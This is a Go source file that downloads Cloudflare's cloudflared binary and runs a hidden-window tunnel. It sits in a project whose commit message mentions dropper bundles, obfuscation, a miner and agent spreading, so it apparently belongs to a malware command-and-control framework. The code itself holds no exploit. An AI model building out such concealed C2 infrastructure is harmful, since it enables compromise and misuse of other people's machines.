Files
AetherForge/server/internal/cloudflared/launcher_windows.go
AetherForge 8466c7aa9b fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
2026-06-04 20:41:44 -07:00

152 lines
3.4 KiB
Go

//go:build windows
package cloudflared
import (
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"syscall"
)
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
var (
mu sync.Mutex
running *exec.Cmd
)
// Start runs cloudflared tunnel with the Zero Trust connector token (background, no service install).
func Start(dataDir, deckRoot, token string) error {
token = trimToken(token)
if token == "" {
return nil
}
bin, err := ensureBinary(deckRoot)
if err != nil {
return err
}
mu.Lock()
defer mu.Unlock()
if running != nil && running.Process != nil {
log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
return nil
}
if cloudflaredAlreadyRunning() {
log.Printf("[tunnel] cloudflared.exe already running externally — skipping duplicate start")
return nil
}
cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := cmd.Start(); err != nil {
return fmt.Errorf("cloudflared start: %w", err)
}
running = cmd
go func(c *exec.Cmd) {
if err := c.Wait(); err != nil {
log.Printf("[tunnel] cloudflared exited: %v", err)
}
mu.Lock()
if running == c {
running = nil
}
mu.Unlock()
}(cmd)
log.Printf("[tunnel] Cloudflare connector started (pid %d)", cmd.Process.Pid)
return nil
}
// Stop terminates the background cloudflared process started by Start.
func Stop() {
mu.Lock()
defer mu.Unlock()
_ = stopLocked()
}
func stopLocked() error {
if running == nil || running.Process == nil {
return nil
}
_ = running.Process.Kill()
_, _ = running.Process.Wait()
running = nil
return nil
}
func ensureBinary(deckRoot string) (string, error) {
candidates := []string{
filepath.Join(deckRoot, "tools", "cloudflared.exe"),
}
if exe, err := os.Executable(); err == nil {
candidates = append(candidates, filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe"))
}
for _, p := range candidates {
if p == "" {
continue
}
if st, err := os.Stat(p); err == nil && !st.IsDir() {
return p, nil
}
}
bin := candidates[0]
if deckRoot == "" {
if exe, err := os.Executable(); err == nil {
bin = filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe")
}
}
if err := os.MkdirAll(filepath.Dir(bin), 0755); err != nil {
return "", err
}
log.Printf("[tunnel] Downloading cloudflared to %s", bin)
resp, err := http.Get(downloadURL)
if err != nil {
return "", fmt.Errorf("download cloudflared: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("download cloudflared: HTTP %d", resp.StatusCode)
}
f, err := os.OpenFile(bin, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0755)
if err != nil {
return "", err
}
_, err = io.Copy(f, resp.Body)
closeErr := f.Close()
if err != nil {
return "", err
}
if closeErr != nil {
return "", closeErr
}
return bin, nil
}
func cloudflaredAlreadyRunning() bool {
out, err := exec.Command("tasklist", "/FI", "IMAGENAME eq cloudflared.exe", "/NH").Output()
if err != nil {
return false
}
return strings.Contains(strings.ToLower(string(out)), "cloudflared.exe")
}
func trimToken(s string) string {
s = strings.TrimSpace(s)
if len(s) >= 2 {
if (s[0] == '"' && s[len(s)-1] == '"') || (s[0] == '\'' && s[len(s)-1] == '\'') {
s = strings.TrimSpace(s[1 : len(s)-1])
}
}
return s
}